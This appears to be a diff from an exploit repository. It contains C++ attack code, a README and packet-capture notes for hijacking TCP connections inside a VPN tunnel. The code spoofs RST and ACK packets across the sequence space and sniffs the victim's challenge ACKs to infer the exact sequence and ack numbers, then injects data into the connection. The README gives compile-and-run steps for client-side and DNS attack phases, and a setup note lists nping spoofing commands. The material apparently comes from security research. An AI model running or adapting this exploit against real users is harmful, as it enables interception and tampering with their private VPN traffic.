+  cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::RST, 1);
+
+  long i;
+
+  for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
+    tcp.seq(i);
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(send_delay);
+  }
+
+  cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
+
+  return best_seq;
+
+}
+
+
+// Attempt to sniff challenge acks while recording
+// the last sequence or ack number we spoofed
+//
+bool handle_packet(PDU &some_pdu) {
+
+  const IP &ip = some_pdu.rfind_pdu<IP>();
+
+  if (ack_search) {
+    // keep track of the last ack num we spoofed
+    if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
+
+    if (ip.src_addr() == victim_wlan_addr) {
+
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      //cout << payload << "\n";
+
+      if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
+        if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
+        if (count_chacks) chack_count += 1;
+        if (track_nums) possible_acks.push_back(current_spoof_ack);
+        if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
+        sniffed_chack = true;
+      }
+    }
+
+  } else if (sniff_request == 1) {
+    // sniffing for a certain client request size (last step after finding seq and ack)
+    if (ip.src_addr() == victim_wlan_addr) {
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      cout << "sniffed cli request of size " << payload << "\n";
+      if (payload == request_size) {
+        sniff_request = 2;
+      }
+    }
+
+  } else { // sniffing for chack during sequence search
+
+    // keep track of the last sequence num we spoofed
+    if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
+
+    if (ip.src_addr() == victim_wlan_addr) {
+
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      //cout << payload << "\n";
+      const int remainder = payload % 67;
+
+      if (payload == 79) { 
+
+        if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
+
+        if (track_nums) {
+          best_seq = current_spoof_seq;
+          possible_seqs.push_back(current_spoof_seq);
+        } else if (count_chacks) { //
+          chack_count += 1;
+          best_seq = current_spoof_seq;
+        } else {
+          if (!sniffed_chack) {
+
+            if (best_seq == 0) { // still in initial seq spread
+              best_seq = current_spoof_seq;
+              sniffed_chack = true;
+            } else {
+              // make sure new seq is less than the previous sniffed one
+              if (current_spoof_seq < best_seq) {
+                best_seq = current_spoof_seq;
+                sniffed_chack = true;
+              }
+            }
+
+          }
+        }
+
+      }
+
+    }
+  }
+
+  return true;
+}
+
+void sniff_stuff() {
+  SnifferConfiguration config;
+  config.set_promisc_mode(true);
+  Sniffer sniffer("wlp1s0", config);
+  sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
+}
+
+
+// Try to find an in window sequence number using
+// one of the very rough estimates found in the first
+// sequence spread
+long try_seq_block(long current_seq) {
+
+  // Just did round 1 spoofing fast to get rough estimate of
+  // in window sequence number, now we send a round 2 and 3 spreads
+  // using the approximated seq with lower send rates
+
+  current_round = 2;
+  sniffed_chack = false;
+  int wait_count = 0;
+  best_seq = current_seq;
+  usleep(1000000 / 2);
+
+  // this will take into account the last block size of 50k,
+  // skip in blocks of 1055 seq nums per send, assume the last
+  // rounds delay was 80 packets for a response, and send every 150 msecs
+  long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
+
+  while (best_seq == current_seq) {
+    usleep(500000);
+    if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
+    wait_count +=1;
+    if (wait_count > 5) return -1;
+  }
+
+  // Now we should have a close estimate to an in-window seq
+  // so next do a third scan at much slower rate to ensure its
+  // an in-window sequence num
+  print_divider(1);
+  usleep(1000000 / 2);
+
+  sniffed_chack = false;
+  current_round += 1;
+  current_seq = best_seq;
+  wait_count = 0;
+
+  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
+
+  while (best_seq == current_seq) {
+    usleep(500000);
+    if (show) cout << "waiting on round 3 chack..\n";
+    wait_count +=1;
+    if (wait_count > 5) return -1;
+  }
+
+  return best_seq - 10000; // subtract 10k for wifi delay
+
+}
+
+// Gets rough estimate of sequence number in use
+// by spreading entire sequence range quicly then
+// tries to find in win sequence using each
+//
+long find_in_win_seq() {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  long start_seq_guess = 1;
+  long max_seq_num = 4294967295;
+  track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
+
+  cout << "spreading the connections entire sequence number range...\n";
+  usleep(1000000 / 2);
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::RST, 1);
+
+  long i;
+
+  for (i = start_seq_guess; i <  max_seq_num; i += 50000) { // sends to the whole sequence num space
+    tcp.seq(i);
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(10);
+  }
+  usleep(1000000);
+  cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
+
+  track_nums = false;
+  int j = 0;
+  long in_win_seq = -1;
+
+  while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
+    print_divider(1);
+    current_round = 0;
+    if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
+    in_win_seq = try_seq_block(possible_seqs[j]);
+    j ++;
+    if (show) cout << "in win seq after try? " << in_win_seq << "\n";
+    usleep(1000000 / 2);
+  }
+
+
+  possible_seqs.clear();
+  track_nums = false;
+
+  print_divider(1);
+  usleep(1000000 / 2);
+
+  return best_seq;
+
+}
+
+
+// Send two spoof rounds while increasing the send delay and
+// decreasing block size to quickly get in-win ack estimate
+//
+long find_in_win_ack(long in_win_seq) {
+
+  // quack should be below current ack in use but we only rechack once first round
+  ack_search = true;
+  long quack = quack_spread(in_win_seq);
+
+  // Spoof empty PSH-ACKs starting at 'quack' plus some send delay
+  // until we sniff a chack and know we just went below the left
+  // edge of the ack window
+  usleep(1000000);
+  print_divider(1);
+  possible_acks.clear();
+
+  long block_size = 10000;
+  int send_delay = 500; 
+  long max_ack = quack + (1 * 100000000);
+  long min_ack = quack;
+  long clack;
+
+  bool is_found = false;
+
+  while (!is_found) { // retry ack scan until we find block triggering chacks
+
+    cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
+    clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
+
+    is_found = rechack(in_win_seq, clack, 2);
+    if (show) cout << "was in win after rechack? " << is_found << "\n";
+    int i = 0;
+
+    while (!is_found && i < possible_acks.size()) {
+      long some_ack = possible_acks[i];
+      if (show) cout << "finished ack scan 1 w possible in window ack: " <<  some_ack << "\n";
+      print_divider(1);
+
+      is_found = rechack(in_win_seq, some_ack, 2);
+      if (show) cout << "was in win after rechack? " << is_found << "\n";
+      i ++;
+      if (is_found) clack = some_ack;
+
+    }
+    max_ack = clack;
+  }
+
+  possible_acks.clear();
+  usleep(1000);
+
+
+  // clack should be an in window ack so now we have both in window
+  // sequence and in window ack numbers.
+  //
+  ack_search = false;
+  track_nums = false;
+
+  // clack has been consistently within 40k of next ack while testing but
+  // in practical use it needs to be less than the expected ack by at most
+  // 20k to be accepted as a valid ack, so here we add 20k to counter our delay
+  // but we could add a third ack scan to make it more accurate
+  //
+  long in_win_ack = clack + 30000; // adding extra 30k for wifi delay 
+  return in_win_ack;
+}
+
+
+// After we've found exact seq and in-win ack, attacker waits
+// for a specific request size to inject the response into
+//
+int wait_for_request(long exact_seq, long in_win_ack) {
+  sniff_request = 1;
+  int res = 0;
+
+  while (sniff_request != 2) {
+    usleep(500000);
+    if (show) cout << "waiting for request of size..\n";
+  }
+
+  if(show) cout << "Sniffed request packet to respond to\n";
+
+  res = inject_junk(exact_seq, in_win_ack);
+
+  return res;
+}
+
+// Attempt to infer the exact sequence number
+// and in-window ack in use by the connection
+//
+int phase_three_spread() {
+
+  bool is_found = false;
+  long in_win_seq = 0;
+
+  // Loop until we find in window seq
+  while (!is_found) {
+    in_win_seq = find_in_win_seq();
+    print_divider(1);
+
+    is_found = rechack(in_win_seq, 0, 2);
+    cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
+    if (!is_found) usleep(1000000 / 2);
+  }
+
+  // At this point we should have an in-window sequence number and
+  // next step is to find an in-window ack number for the connection
+  //
+  usleep(1000000 / 2);
+
+  long in_win_ack = find_in_win_ack(in_win_seq);
+  in_win_ack += 40000; // add 40k for wifi delay
+
+  cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
+
+  // jump back 40 for wifi delay
+  long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
+  cout << "final exact seq guess: " << exact_seq << "\n";
+  cout << "total number of packets sent: " << num_sent << "\n";
+  print_divider(2);
+
+  int res = 0;
+
+  if (testing) { // for netcat
+    res = inject_junk(exact_seq, in_win_ack);
+  } else { // for normal http injection
+    cout << "waiting for client to request any page within inferred connection...";
+    res = wait_for_request(exact_seq, in_win_ack);
+  }
+
+  return res;
+
+}
+
+
+int main(int argc, char** argv) {
+
+  if (argc != 8) {
+    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
+    return 0;
+  }
+
+  remote_addr = argv[1];
+  sport = atoi(argv[2]);
+  victim_wlan_addr = argv[3];
+  dest_ip = argv[4];
+  dest_mac = argv[5];
+  dport = atoi(argv[6]);
+  request_size = atoi(argv[7]);
+
+  thread sniff_thread(sniff_stuff);
+  print_divider(2);
+
+  int r = phase_three_spread();
+
+  sniff_thread.detach();
+  //sniff_thread.join();
+
+  return 0;
+}

old-readme

@@ -0,0 +1,83 @@
+# VeepExploit
+
+The current version of VPN attack code 
+
+
+
+##### Attack Machine Environment
+
+* C++ 
+* libtins (http://libtins.github.io/download/)
+
+
+## Server-side attack
+
+
+#### Requirements
+
+* VPN client connected to a VPN server
+* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
+
+***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder
+
+
+#### Running the DNS Attack Script
+
+1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan`
+2. Compile attack script - `make`
+3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp` 
+3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`
+
+
+
+## Client-side attack
+
+
+#### Requirements
+
+* VPN client connected to a VPN server
+* Reverse path filtering disabled on the VPN client machine
+* Attack router acting as the local network gateway for the victim (VPN client) machine
+
+
+#### Running the Full Attack Script
+
+* Rebuild all the attack scripts: `./rebuild_all.sh`
+* `cd full_attack`
+* Change `attack.sh` vars to appropriate values
+* `sh attack.sh <remote_ip>`
+
+***Note:*** `remote_ip` specifies the IP address of the HTTP site.
+
+
+#### Testing Indivual attack phases 
+
+
+##### Phase 1 - Infer victim's private address
+
+* `cd first_phase`
+* `python3 send.py <victim_public_ip> <private_ip_range>`
+
+***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.
+
+
+##### Phase 2 - Infer the port being used to talk to some remote address
+
+* `cd sec_phase`
+* Edit `send.cpp` to use the correct MAC addresses
+* `g++ send.cpp -o send -ltins`
+* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`
+
+***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
+
+
+##### Phase 3 - Infer exact sequence number and in-window ack
+
+* `cd third_phase`
+* Edit `send.cpp` to use the correct MAC addresses
+* `g++ send.cpp -o send -ltins`
+* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`
+
+
+***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.
+

pcaps/client-side-caps/nping-examples/setup.txt

@@ -0,0 +1,28 @@
+Nping pcap commands during each phase:
+
+On attacker machine: `sudo tcpdump -i wlp1s0 -nnvvS not src port 22 and not dst port 22 -w wash_attacker.pcap`
+
+On victim macine: `sudo tcpdump -i any -nnvvS not src port 22 and not dst port 22 -w vic_any_capture_wash.pcap`
+
+
+
+Attacker commands
+
+Phase 2: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags SA -p 40402`
+
+Phase 3: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags R -p 40404 --seq 4253820601`
+
+
+
+Addresses in netcat example: 
+
+
+Phase 2 pcap: -->  (netcat 172.217.12.14 80